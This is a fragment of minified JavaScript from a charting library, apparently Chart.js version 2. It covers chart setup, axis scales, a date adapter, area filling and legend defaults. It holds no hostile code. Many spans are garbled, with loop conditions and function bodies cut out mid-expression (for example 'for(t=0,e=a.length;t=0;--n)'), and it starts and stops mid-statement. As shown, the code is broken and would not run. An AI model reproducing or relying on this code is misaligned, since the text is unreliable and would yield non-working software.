e=t.options;V.each(t.scales,(function(e){ge.removeBox(t,e)})),e=Xe(z.global,z[t.config.type],e),t.options=t.config.options=e,t.ensureScalesHaveIDs(),t.buildOrUpdateScales(),t.tooltip._options=e.tooltips,t.tooltip.initialize()}function Ze(t,e,n){var i,a=function(t){return t.id===i};do{i=e+n++}while(V.findIndex(t,a)>=0);return i}function $e(t){return"top"===t||"bottom"===t}function Je(t,e){return function(n,i){return n[t]===i[t]?n[e]-i[e]:n[t]-i[t]}}z._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var Qe=function(t,e){return this.construct(t,e),this};V.extend(Qe.prototype,{construct:function(t,e){var n=this;e=function(t){var e=(t=t||{}).data=t.data||{};return e.datasets=e.datasets||[],e.labels=e.labels||[],t.options=Xe(z.global,z[t.type],t.options||{}),t}(e);var i=Fe.acquireContext(t,e),a=i&&i.canvas,r=a&&a.height,o=a&&a.width;n.id=V.uid(),n.ctx=i,n.canvas=a,n.config=e,n.width=o,n.height=r,n.aspectRatio=r?o/r:null,n.options=e.options,n._bufferedRender=!1,n._layers=[],n.chart=n,n.controller=n,Qe.instances[n.id]=n,Object.defineProperty(n,"data",{get:function(){return n.config.data},set:function(t){n.config.data=t}}),i&&a?(n.initialize(),n.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var t=this;return Le.notify(t,"beforeInit"),V.retinaScale(t,t.options.devicePixelRatio),t.bindEvents(),t.options.responsive&&t.resize(!0),t.initToolTip(),Le.notify(t,"afterInit"),t},clear:function(){return V.canvas.clear(this),this},stop:function(){return $.cancelAnimation(this),this},resize:function(t){var e=this,n=e.options,i=e.canvas,a=n.maintainAspectRatio&&e.aspectRatio||null,r=Math.max(0,Math.floor(V.getMaximumWidth(i))),o=Math.max(0,Math.floor(a?r/a:V.getMaximumHeight(i)));if((e.width!==r||e.height!==o)&&(i.width=e.width=r,i.height=e.height=o,i.style.width=r+"px",i.style.height=o+"px",V.retinaScale(e,n.devicePixelRatio),!t)){var s={width:r,height:o};Le.notify(e,"resize",[s]),n.onResize&&n.onResize(e,s),e.stop(),e.update({duration:n.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var t=this.options,e=t.scales||{},n=t.scale;V.each(e.xAxes,(function(t,n){t.id||(t.id=Ze(e.xAxes,"x-axis-",n))})),V.each(e.yAxes,(function(t,n){t.id||(t.id=Ze(e.yAxes,"y-axis-",n))})),n&&(n.id=n.id||"scale")},buildOrUpdateScales:function(){var t=this,e=t.options,n=t.scales||{},i=[],a=Object.keys(n).reduce((function(t,e){return t[e]=!1,t}),{});e.scales&&(i=i.concat((e.scales.xAxes||[]).map((function(t){return{options:t,dtype:"category",dposition:"bottom"}})),(e.scales.yAxes||[]).map((function(t){return{options:t,dtype:"linear",dposition:"left"}})))),e.scale&&i.push({options:e.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),V.each(i,(function(e){var i=e.options,r=i.id,o=Ye(i.type,e.dtype);$e(i.position)!==$e(e.dposition)&&(i.position=e.dposition),a[r]=!0;var s=null;if(r in n&&n[r].type===o)(s=n[r]).options=i,s.ctx=t.ctx,s.chart=t;else{var l=Oe.getScaleConstructor(o);if(!l)return;s=new l({id:r,type:o,options:i,ctx:t.ctx,chart:t}),n[s.id]=s}s.mergeTicksOptions(),e.isDefault&&(t.scale=s)})),V.each(a,(function(t,e){t||delete n[e]})),t.scales=n,Oe.addScalesToLayout(this)},buildOrUpdateControllers:function(){var t,e,n=this,i=[],a=n.data.datasets;for(t=0,e=a.length;t=0;--n)this.drawDataset(e[n],t);Le.notify(this,"afterDatasetsDraw",[t])}},drawDataset:function(t,e){var n={meta:t,index:t.index,easingValue:e};!1!==Le.notify(this,"beforeDatasetDraw",[n])&&(t.controller.draw(e),Le.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(t){var e=this.tooltip,n={tooltip:e,easingValue:t};!1!==Le.notify(this,"beforeTooltipDraw",[n])&&(e.draw(),Le.notify(this,"afterTooltipDraw",[n]))},getElementAtEvent:function(t){return ae.modes.single(this,t)},getElementsAtEvent:function(t){return ae.modes.label(this,t,{intersect:!0})},getElementsAtXAxis:function(t){return ae.modes["x-axis"](this,t,{intersect:!0})},getElementsAtEventForMode:function(t,e,n){var i=ae.modes[e];return"function"==typeof i?i(this,t,n):[]},getDatasetAtEvent:function(t){return ae.modes.dataset(this,t,{intersect:!0})},getDatasetMeta:function(t){var e=this.data.datasets[t];e._meta||(e._meta={});var n=e._meta[this.id];return n||(n=e._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:e.order||0,index:t}),n},getVisibleDatasetCount:function(){for(var t=0,e=0,n=this.data.datasets.length;e3?n[2]-n[1]:n[1]-n[0];Math.abs(i)>1&&t!==Math.floor(t)&&(i=t-Math.floor(t));var a=V.log10(Math.abs(i)),r="";if(0!==t)if(Math.max(Math.abs(n[0]),Math.abs(n[n.length-1]))<1e-4){var o=V.log10(Math.abs(t)),s=Math.floor(o)-Math.floor(a);s=Math.max(Math.min(s,20),0),r=t.toExponential(s)}else{var l=-1*Math.floor(a);l=Math.max(Math.min(l,20),0),r=t.toFixed(l)}else r="0";return r},logarithmic:function(t,e,n){var i=t/Math.pow(10,Math.floor(V.log10(t)));return 0===t?"0":1===i||2===i||5===i||0===e||e===n.length-1?t.toExponential():""}}},on=V.isArray,sn=V.isNullOrUndef,ln=V.valueOrDefault,un=V.valueAtIndexOrDefault;function dn(t,e,n){var i,a=t.getTicks().length,r=Math.min(e,a-1),o=t.getPixelForTick(r),s=t._startPixel,l=t._endPixel;if(!(n&&(i=1===a?Math.max(o-s,l-o):0===e?(t.getPixelForTick(1)-o)/2:(o-t.getPixelForTick(r-1))/2,(o+=rl+1e-6)))return o}function hn(t,e,n,i){var a,r,o,s,l,u,d,h,c,f,g,p,m,v=n.length,b=[],x=[],y=[];for(a=0;ae){for(n=0;n=c||d<=1||!s.isHorizontal()?s.labelRotation=h:(e=(t=s._getLabelSizes()).widest.width,n=t.highest.height-t.highest.offset,i=Math.min(s.maxWidth,s.chart.width-e),e+6>(a=l.offset?s.maxWidth/d:i/(d-1))&&(a=i/(d-(l.offset?.5:1)),r=s.maxHeight-cn(l.gridLines)-u.padding-fn(l.scaleLabel),o=Math.sqrt(e*e+n*n),f=V.toDegrees(Math.min(Math.asin(Math.min((t.highest.height+6)/a,1)),Math.asin(Math.min(r/o,1))-Math.asin(n/o))),f=Math.max(h,Math.min(c,f))),s.labelRotation=f)},afterCalculateTickRotation:function(){V.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){V.callback(this.options.beforeFit,[this])},fit:function(){var t=this,e=t.minSize={width:0,height:0},n=t.chart,i=t.options,a=i.ticks,r=i.scaleLabel,o=i.gridLines,s=t._isVisible(),l="bottom"===i.position,u=t.isHorizontal();if(u?e.width=t.maxWidth:s&&(e.width=cn(o)+fn(r)),u?s&&(e.height=cn(o)+fn(r)):e.height=t.maxHeight,a.display&&s){var d=pn(a),h=t._getLabelSizes(),c=h.first,f=h.last,g=h.widest,p=h.highest,m=.4*d.minor.lineHeight,v=a.padding;if(u){var b=0!==t.labelRotation,x=V.toRadians(t.labelRotation),y=Math.cos(x),_=Math.sin(x),k=_*g.width+y*(p.height-(b?p.offset:0))+(b?0:m);e.height=Math.min(t.maxHeight,e.height+k+v);var w,M,S=t.getPixelForTick(0)-t.left,C=t.right-t.getPixelForTick(t.getTicks().length-1);b?(w=l?y*c.width+_*c.offset:_*(c.height-c.offset),M=l?_*(f.height-f.offset):y*f.width+_*f.offset):(w=c.width/2,M=f.width/2),t.paddingLeft=Math.max((w-S)*t.width/(t.width-S),0)+3,t.paddingRight=Math.max((M-C)*t.width/(t.width-C),0)+3}else{var P=a.mirror?0:g.width+v+m;e.width=Math.min(t.maxWidth,e.width+P),t.paddingTop=c.height/2,t.paddingBottom=f.height/2}}t.handleMargins(),u?(t.width=t._length=n.width-t.margins.left-t.margins.right,t.height=e.height):(t.width=e.width,t.height=t._length=n.height-t.margins.top-t.margins.bottom)},handleMargins:function(){var t=this;t.margins&&(t.margins.left=Math.max(t.paddingLeft,t.margins.left),t.margins.top=Math.max(t.paddingTop,t.margins.top),t.margins.right=Math.max(t.paddingRight,t.margins.right),t.margins.bottom=Math.max(t.paddingBottom,t.margins.bottom))},afterFit:function(){V.callback(this.options.afterFit,[this])},isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(t){if(sn(t))return NaN;if(("number"==typeof t||t instanceof Number)&&!isFinite(t))return NaN;if(t)if(this.isHorizontal()){if(void 0!==t.x)return this.getRightValue(t.x)}else if(void 0!==t.y)return this.getRightValue(t.y);return t},_convertTicksToLabels:function(t){var e,n,i,a=this;for(a.ticks=t.map((function(t){return t.value})),a.beforeTickToLabelConversion(),e=a.convertTicksToLabels(t)||a.ticks,a.afterTickToLabelConversion(),n=0,i=t.length;nn-1?null:this.getPixelForDecimal(t*i+(e?i/2:0))},getPixelForDecimal:function(t){return this._reversePixels&&(t=1-t),this._startPixel+t*this._length},getDecimalForPixel:function(t){var e=(t-this._startPixel)/this._length;return this._reversePixels?1-e:e},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var t=this.min,e=this.max;return this.beginAtZero?0:t<0&&e<0?e:t>0&&e>0?t:0},_autoSkip:function(t){var e,n,i,a,r=this.options.ticks,o=this._length,s=r.maxTicksLimit||o/this._tickSize()+1,l=r.major.enabled?function(t){var e,n,i=[];for(e=0,n=t.length;es)return function(t,e,n){var i,a,r=0,o=e[0];for(n=Math.ceil(n),i=0;iu)return r;return Math.max(u,1)}(l,t,0,s),u>0){for(e=0,n=u-1;e1?(h-d)/(u-1):null,vn(t,i,V.isNullOrUndef(a)?0:d-a,d),vn(t,i,h,V.isNullOrUndef(a)?t.length:h+a),mn(t)}return vn(t,i),mn(t)},_tickSize:function(){var t=this.options.ticks,e=V.toRadians(this.labelRotation),n=Math.abs(Math.cos(e)),i=Math.abs(Math.sin(e)),a=this._getLabelSizes(),r=t.autoSkipPadding||0,o=a?a.widest.width+r:0,s=a?a.highest.height+r:0;return this.isHorizontal()?s*n>o*i?o/n:s/i:s*i=0&&(o=t),void 0!==r&&(t=n.indexOf(r))>=0&&(s=t),e.minIndex=o,e.maxIndex=s,e.min=n[o],e.max=n[s]},buildTicks:function(){var t=this._getLabels(),e=this.minIndex,n=this.maxIndex;this.ticks=0===e&&n===t.length-1?t:t.slice(e,n+1)},getLabelForIndex:function(t,e){var n=this.chart;return n.getDatasetMeta(e).controller._getValueScaleId()===this.id?this.getRightValue(n.data.datasets[e].data[t]):this._getLabels()[t]},_configure:function(){var t=this,e=t.options.offset,n=t.ticks;xn.prototype._configure.call(t),t.isHorizontal()||(t._reversePixels=!t._reversePixels),n&&(t._startValue=t.minIndex-(e?.5:0),t._valueRange=Math.max(n.length-(e?0:1),1))},getPixelForValue:function(t,e,n){var i,a,r,o=this;return yn(e)||yn(n)||(t=o.chart.data.datasets[n].data[e]),yn(t)||(i=o.isHorizontal()?t.x:t.y),(void 0!==i||void 0!==t&&isNaN(e))&&(a=o._getLabels(),t=V.valueOrDefault(i,t),e=-1!==(r=a.indexOf(t))?r:e,isNaN(e)&&(e=t)),o.getPixelForDecimal((e-o._startValue)/o._valueRange)},getPixelForTick:function(t){var e=this.ticks;return t<0||t>e.length-1?null:this.getPixelForValue(e[t],t+this.minIndex)},getValueForPixel:function(t){var e=Math.round(this._startValue+this.getDecimalForPixel(t)*this._valueRange);return Math.min(Math.max(e,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}}),kn={position:"bottom"};_n._defaults=kn;var wn=V.noop,Mn=V.isNullOrUndef;var Sn=xn.extend({getRightValue:function(t){return"string"==typeof t?+t:xn.prototype.getRightValue.call(this,t)},handleTickRangeOptions:function(){var t=this,e=t.options.ticks;if(e.beginAtZero){var n=V.sign(t.min),i=V.sign(t.max);n<0&&i<0?t.max=0:n>0&&i>0&&(t.min=0)}var a=void 0!==e.min||void 0!==e.suggestedMin,r=void 0!==e.max||void 0!==e.suggestedMax;void 0!==e.min?t.min=e.min:void 0!==e.suggestedMin&&(null===t.min?t.min=e.suggestedMin:t.min=Math.min(t.min,e.suggestedMin)),void 0!==e.max?t.max=e.max:void 0!==e.suggestedMax&&(null===t.max?t.max=e.suggestedMax:t.max=Math.max(t.max,e.suggestedMax)),a!==r&&t.min>=t.max&&(a?t.max=t.min+1:t.min=t.max-1),t.min===t.max&&(t.max++,e.beginAtZero||t.min--)},getTickLimit:function(){var t,e=this.options.ticks,n=e.stepSize,i=e.maxTicksLimit;return n?t=Math.ceil(this.max/n)-Math.floor(this.min/n)+1:(t=this._computeTickLimit(),i=i||11),i&&(t=Math.min(i,t)),t},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:wn,buildTicks:function(){var t=this,e=t.options.ticks,n=t.getTickLimit(),i={maxTicks:n=Math.max(2,n),min:e.min,max:e.max,precision:e.precision,stepSize:V.valueOrDefault(e.fixedStepSize,e.stepSize)},a=t.ticks=function(t,e){var n,i,a,r,o=[],s=t.stepSize,l=s||1,u=t.maxTicks-1,d=t.min,h=t.max,c=t.precision,f=e.min,g=e.max,p=V.niceNum((g-f)/u/l)*l;if(p<1e-14&&Mn(d)&&Mn(h))return[f,g];(r=Math.ceil(g/p)-Math.floor(f/p))>u&&(p=V.niceNum(r*p/u/l)*l),s||Mn(c)?n=Math.pow(10,V._decimalPlaces(p)):(n=Math.pow(10,c),p=Math.ceil(p*n)/n),i=Math.floor(f/p)*p,a=Math.ceil(g/p)*p,s&&(!Mn(d)&&V.almostWhole(d/p,p/1e3)&&(i=d),!Mn(h)&&V.almostWhole(h/p,p/1e3)&&(a=h)),r=(a-i)/p,r=V.almostEquals(r,Math.round(r),p/1e3)?Math.round(r):Math.ceil(r),i=Math.round(i*n)/n,a=Math.round(a*n)/n,o.push(Mn(d)?i:d);for(var m=1;me.length-1?null:this.getPixelForValue(e[t])}}),Tn=Cn;Dn._defaults=Tn;var In=V.valueOrDefault,Fn=V.math.log10;var Ln={position:"left",ticks:{callback:rn.formatters.logarithmic}};function On(t,e){return V.isFinite(t)&&t>=0?t:e}var Rn=xn.extend({determineDataLimits:function(){var t,e,n,i,a,r,o=this,s=o.options,l=o.chart,u=l.data.datasets,d=o.isHorizontal();function h(t){return d?t.xAxisID===o.id:t.yAxisID===o.id}o.min=Number.POSITIVE_INFINITY,o.max=Number.NEGATIVE_INFINITY,o.minNotZero=Number.POSITIVE_INFINITY;var c=s.stacked;if(void 0===c)for(t=0;t0){var e=V.min(t),n=V.max(t);o.min=Math.min(o.min,e),o.max=Math.max(o.max,n)}}))}else for(t=0;t0?t.minNotZero=t.min:t.max<1?t.minNotZero=Math.pow(10,Math.floor(Fn(t.max))):t.minNotZero=1)},buildTicks:function(){var t=this,e=t.options.ticks,n=!t.isHorizontal(),i={min:On(e.min),max:On(e.max)},a=t.ticks=function(t,e){var n,i,a=[],r=In(t.min,Math.pow(10,Math.floor(Fn(e.min)))),o=Math.floor(Fn(e.max)),s=Math.ceil(e.max/Math.pow(10,o));0===r?(n=Math.floor(Fn(e.minNotZero)),i=Math.floor(e.minNotZero/Math.pow(10,n)),a.push(r),r=i*Math.pow(10,n)):(n=Math.floor(Fn(r)),i=Math.floor(r/Math.pow(10,n)));var l=n<0?Math.pow(10,Math.abs(n)):1;do{a.push(r),10===++i&&(i=1,l=++n>=0?1:l),r=Math.round(i*Math.pow(10,n)*l)/l}while(ne.length-1?null:this.getPixelForValue(e[t])},_getFirstTickValue:function(t){var e=Math.floor(Fn(t));return Math.floor(t/Math.pow(10,e))*Math.pow(10,e)},_configure:function(){var t=this,e=t.min,n=0;xn.prototype._configure.call(t),0===e&&(e=t._getFirstTickValue(t.minNotZero),n=In(t.options.ticks.fontSize,z.global.defaultFontSize)/t._length),t._startValue=Fn(e),t._valueOffset=n,t._valueRange=(Fn(t.max)-Fn(e))/(1-n)},getPixelForValue:function(t){var e=this,n=0;return(t=+e.getRightValue(t))>e.min&&t>0&&(n=(Fn(t)-e._startValue)/e._valueRange+e._valueOffset),e.getPixelForDecimal(n)},getValueForPixel:function(t){var e=this,n=e.getDecimalForPixel(t);return 0===n&&0===e.min?0:Math.pow(10,e._startValue+(n-e._valueOffset)*e._valueRange)}}),zn=Ln;Rn._defaults=zn;var Nn=V.valueOrDefault,Bn=V.valueAtIndexOrDefault,En=V.options.resolve,Wn={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:rn.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(t){return t}}};function Vn(t){var e=t.ticks;return e.display&&t.display?Nn(e.fontSize,z.global.defaultFontSize)+2*e.backdropPaddingY:0}function Hn(t,e,n,i,a){return t===i||t===a?{start:e-n/2,end:e+n/2}:ta?{start:e-n,end:e}:{start:e,end:e+n}}function jn(t){return 0===t||180===t?"center":t<180?"left":"right"}function qn(t,e,n,i){var a,r,o=n.y+i/2;if(V.isArray(e))for(a=0,r=e.length;a270||t<90)&&(n.y-=e.h)}function Yn(t){return V.isNumber(t)?t:0}var Gn=Sn.extend({setDimensions:function(){var t=this;t.width=t.maxWidth,t.height=t.maxHeight,t.paddingTop=Vn(t.options)/2,t.xCenter=Math.floor(t.width/2),t.yCenter=Math.floor((t.height-t.paddingTop)/2),t.drawingArea=Math.min(t.height-t.paddingTop,t.width)/2},determineDataLimits:function(){var t=this,e=t.chart,n=Number.POSITIVE_INFINITY,i=Number.NEGATIVE_INFINITY;V.each(e.data.datasets,(function(a,r){if(e.isDatasetVisible(r)){var o=e.getDatasetMeta(r);V.each(a.data,(function(e,a){var r=+t.getRightValue(e);isNaN(r)||o.data[a].hidden||(n=Math.min(r,n),i=Math.max(r,i))}))}})),t.min=n===Number.POSITIVE_INFINITY?0:n,t.max=i===Number.NEGATIVE_INFINITY?0:i,t.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/Vn(this.options))},convertTicksToLabels:function(){var t=this;Sn.prototype.convertTicksToLabels.call(t),t.pointLabels=t.chart.data.labels.map((function(){var e=V.callback(t.options.pointLabels.callback,arguments,t);return e||0===e?e:""}))},getLabelForIndex:function(t,e){return+this.getRightValue(this.chart.data.datasets[e].data[t])},fit:function(){var t=this.options;t.display&&t.pointLabels.display?function(t){var e,n,i,a=V.options._parseFont(t.options.pointLabels),r={l:0,r:t.width,t:0,b:t.height-t.paddingTop},o={};t.ctx.font=a.string,t._pointLabelSizes=[];var s,l,u,d=t.chart.data.labels.length;for(e=0;er.r&&(r.r=f.end,o.r=h),g.startr.b&&(r.b=g.end,o.b=h)}t.setReductions(t.drawingArea,r,o)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(t,e,n){var i=this,a=e.l/Math.sin(n.l),r=Math.max(e.r-i.width,0)/Math.sin(n.r),o=-e.t/Math.cos(n.t),s=-Math.max(e.b-(i.height-i.paddingTop),0)/Math.cos(n.b);a=Yn(a),r=Yn(r),o=Yn(o),s=Yn(s),i.drawingArea=Math.min(Math.floor(t-(a+r)/2),Math.floor(t-(o+s)/2)),i.setCenterPoint(a,r,o,s)},setCenterPoint:function(t,e,n,i){var a=this,r=a.width-e-a.drawingArea,o=t+a.drawingArea,s=n+a.drawingArea,l=a.height-a.paddingTop-i-a.drawingArea;a.xCenter=Math.floor((o+r)/2+a.left),a.yCenter=Math.floor((s+l)/2+a.top+a.paddingTop)},getIndexAngle:function(t){var e=this.chart,n=(t*(360/e.data.labels.length)+((e.options||{}).startAngle||0))%360;return(n<0?n+360:n)*Math.PI*2/360},getDistanceFromCenterForValue:function(t){var e=this;if(V.isNullOrUndef(t))return NaN;var n=e.drawingArea/(e.max-e.min);return e.options.ticks.reverse?(e.max-t)*n:(t-e.min)*n},getPointPosition:function(t,e){var n=this.getIndexAngle(t)-Math.PI/2;return{x:Math.cos(n)*e+this.xCenter,y:Math.sin(n)*e+this.yCenter}},getPointPositionForValue:function(t,e){return this.getPointPosition(t,this.getDistanceFromCenterForValue(e))},getBasePosition:function(t){var e=this.min,n=this.max;return this.getPointPositionForValue(t||0,this.beginAtZero?0:e<0&&n<0?n:e>0&&n>0?e:0)},_drawGrid:function(){var t,e,n,i=this,a=i.ctx,r=i.options,o=r.gridLines,s=r.angleLines,l=Nn(s.lineWidth,o.lineWidth),u=Nn(s.color,o.color);if(r.pointLabels.display&&function(t){var e=t.ctx,n=t.options,i=n.pointLabels,a=Vn(n),r=t.getDistanceFromCenterForValue(n.ticks.reverse?t.min:t.max),o=V.options._parseFont(i);e.save(),e.font=o.string,e.textBaseline="middle";for(var s=t.chart.data.labels.length-1;s>=0;s--){var l=0===s?a/2:0,u=t.getPointPosition(s,r+l+5),d=Bn(i.fontColor,s,z.global.defaultFontColor);e.fillStyle=d;var h=t.getIndexAngle(s),c=V.toDegrees(h);e.textAlign=jn(c),Un(c,t._pointLabelSizes[s],u),qn(e,t.pointLabels[s],u,o.lineHeight)}e.restore()}(i),o.display&&V.each(i.ticks,(function(t,n){0!==n&&(e=i.getDistanceFromCenterForValue(i.ticksAsNumbers[n]),function(t,e,n,i){var a,r=t.ctx,o=e.circular,s=t.chart.data.labels.length,l=Bn(e.color,i-1),u=Bn(e.lineWidth,i-1);if((o||s)&&l&&u){if(r.save(),r.strokeStyle=l,r.lineWidth=u,r.setLineDash&&(r.setLineDash(e.borderDash||[]),r.lineDashOffset=e.borderDashOffset||0),r.beginPath(),o)r.arc(t.xCenter,t.yCenter,n,0,2*Math.PI);else{a=t.getPointPosition(0,n),r.moveTo(a.x,a.y);for(var d=1;d=0;t--)e=i.getDistanceFromCenterForValue(r.ticks.reverse?i.min:i.max),n=i.getPointPosition(t,e),a.beginPath(),a.moveTo(i.xCenter,i.yCenter),a.lineTo(n.x,n.y),a.stroke();a.restore()}},_drawLabels:function(){var t=this,e=t.ctx,n=t.options.ticks;if(n.display){var i,a,r=t.getIndexAngle(0),o=V.options._parseFont(n),s=Nn(n.fontColor,z.global.defaultFontColor);e.save(),e.font=o.string,e.translate(t.xCenter,t.yCenter),e.rotate(r),e.textAlign="center",e.textBaseline="middle",V.each(t.ticks,(function(r,l){(0!==l||n.reverse)&&(i=t.getDistanceFromCenterForValue(t.ticksAsNumbers[l]),n.showLabelBackdrop&&(a=e.measureText(r).width,e.fillStyle=n.backdropColor,e.fillRect(-a/2-n.backdropPaddingX,-i-o.size/2-n.backdropPaddingY,a+2*n.backdropPaddingX,o.size+2*n.backdropPaddingY)),e.fillStyle=s,e.fillText(r,0,-i))})),e.restore()}},_drawTitle:V.noop}),Xn=Wn;Gn._defaults=Xn;var Kn=V._deprecated,Zn=V.options.resolve,$n=V.valueOrDefault,Jn=Number.MIN_SAFE_INTEGER||-9007199254740991,Qn=Number.MAX_SAFE_INTEGER||9007199254740991,ti={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},ei=Object.keys(ti);function ni(t,e){return t-e}function ii(t){return V.valueOrDefault(t.time.min,t.ticks.min)}function ai(t){return V.valueOrDefault(t.time.max,t.ticks.max)}function ri(t,e,n,i){var a=function(t,e,n){for(var i,a,r,o=0,s=t.length-1;o>=0&&o<=s;){if(a=t[(i=o+s>>1)-1]||null,r=t[i],!a)return{lo:null,hi:r};if(r[e]n))return{lo:a,hi:r};s=i-1}}return{lo:r,hi:null}}(t,e,n),r=a.lo?a.hi?a.lo:t[t.length-2]:t[0],o=a.lo?a.hi?a.hi:t[t.length-1]:t[1],s=o[e]-r[e],l=s?(n-r[e])/s:0,u=(o[i]-r[i])*l;return r[i]+u}function oi(t,e){var n=t._adapter,i=t.options.time,a=i.parser,r=a||i.format,o=e;return"function"==typeof a&&(o=a(o)),V.isFinite(o)||(o="string"==typeof r?n.parse(o,r):n.parse(o)),null!==o?+o:(a||"function"!=typeof r||(o=r(e),V.isFinite(o)||(o=n.parse(o))),o)}function si(t,e){if(V.isNullOrUndef(e))return null;var n=t.options.time,i=oi(t,t.getRightValue(e));return null===i?i:(n.round&&(i=+t._adapter.startOf(i,n.round)),i)}function li(t,e,n,i){var a,r,o,s=ei.length;for(a=ei.indexOf(t);a=0&&(e[r].major=!0);return e}(t,r,o,n):r}var di=xn.extend({initialize:function(){this.mergeTicksOptions(),xn.prototype.initialize.call(this)},update:function(){var t=this,e=t.options,n=e.time||(e.time={}),i=t._adapter=new an._date(e.adapters.date);return Kn("time scale",n.format,"time.format","time.parser"),Kn("time scale",n.min,"time.min","ticks.min"),Kn("time scale",n.max,"time.max","ticks.max"),V.mergeIf(n.displayFormats,i.formats()),xn.prototype.update.apply(t,arguments)},getRightValue:function(t){return t&&void 0!==t.t&&(t=t.t),xn.prototype.getRightValue.call(this,t)},determineDataLimits:function(){var t,e,n,i,a,r,o,s=this,l=s.chart,u=s._adapter,d=s.options,h=d.time.unit||"day",c=Qn,f=Jn,g=[],p=[],m=[],v=s._getLabels();for(t=0,n=v.length;t1?function(t){var e,n,i,a={},r=[];for(e=0,n=t.length;e1e5*u)throw e+" and "+n+" are too far apart with stepSize of "+u+" "+l;for(a=h;a=a&&n<=r&&d.push(n);return i.min=a,i.max=r,i._unit=l.unit||(s.autoSkip?li(l.minUnit,i.min,i.max,h):function(t,e,n,i,a){var r,o;for(r=ei.length-1;r>=ei.indexOf(n);r--)if(o=ei[r],ti[o].common&&t._adapter.diff(a,i,o)>=e-1)return o;return ei[n?ei.indexOf(n):0]}(i,d.length,l.minUnit,i.min,i.max)),i._majorUnit=s.major.enabled&&"year"!==i._unit?function(t){for(var e=ei.indexOf(t)+1,n=ei.length;ee&&s=0&&t0?s:1}}),hi={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};di._defaults=hi;var ci={category:_n,linear:Dn,logarithmic:Rn,radialLinear:Gn,time:di},fi={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};an._date.override("function"==typeof t?{_id:"moment",formats:function(){return fi},parse:function(e,n){return"string"==typeof e&&"string"==typeof n?e=t(e,n):e instanceof t||(e=t(e)),e.isValid()?e.valueOf():null},format:function(e,n){return t(e).format(n)},add:function(e,n,i){return t(e).add(n,i).valueOf()},diff:function(e,n,i){return t(e).diff(t(n),i)},startOf:function(e,n,i){return e=t(e),"isoWeek"===n?e.isoWeekday(i).valueOf():e.startOf(n).valueOf()},endOf:function(e,n){return t(e).endOf(n).valueOf()},_create:function(e){return t(e)}}:{}),z._set("global",{plugins:{filler:{propagate:!0}}});var gi={dataset:function(t){var e=t.fill,n=t.chart,i=n.getDatasetMeta(e),a=i&&n.isDatasetVisible(e)&&i.dataset._children||[],r=a.length||0;return r?function(t,e){return e=n)&&i;switch(r){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return r;default:return!1}}function mi(t){return(t.el._scale||{}).getPointPositionForValue?function(t){var e,n,i,a,r,o=t.el._scale,s=o.options,l=o.chart.data.labels.length,u=t.fill,d=[];if(!l)return null;for(e=s.ticks.reverse?o.max:o.min,n=s.ticks.reverse?o.min:o.max,i=o.getPointPositionForValue(0,e),a=0;a0;--r)V.canvas.lineTo(t,n[r],n[r-1],!0);else for(o=n[0].cx,s=n[0].cy,l=Math.sqrt(Math.pow(n[0].x-o,2)+Math.pow(n[0].y-s,2)),r=a-1;r>0;--r)t.arc(o,s,l,n[r].angle,n[r-1].angle,!0)}}function _i(t,e,n,i,a,r){var o,s,l,u,d,h,c,f,g=e.length,p=i.spanGaps,m=[],v=[],b=0,x=0;for(t.beginPath(),o=0,s=g;o=0;--n)(e=l[n].$filler)&&e.visible&&(a=(i=e.el)._view,r=i._children||[],o=e.mapper,s=a.backgroundColor||z.global.defaultColor,o&&s&&r.length&&(V.canvas.clipArea(u,t.chartArea),_i(u,r,o,a,s,i._loop),V.canvas.unclipArea(u)))}},wi=V.rtl.getRtlAdapter,Mi=V.noop,Si=V.valueOrDefault;function Ci(t,e){return t.usePointStyle&&t.boxWidth>e?e:t.boxWidth}z._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(t,e){var n=e.datasetIndex,i=this.chart,a=i.getDatasetMeta(n);a.hidden=null===a.hidden?!i.data.datasets[n].hidden:null,i.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(t){var e=t.data.datasets,n=t.options.legend||{},i=n.labels&&n.labels.usePointStyle;return t._getSortedDatasetMetas().map((function(n){var a=n.controller.getStyle(i?0:void 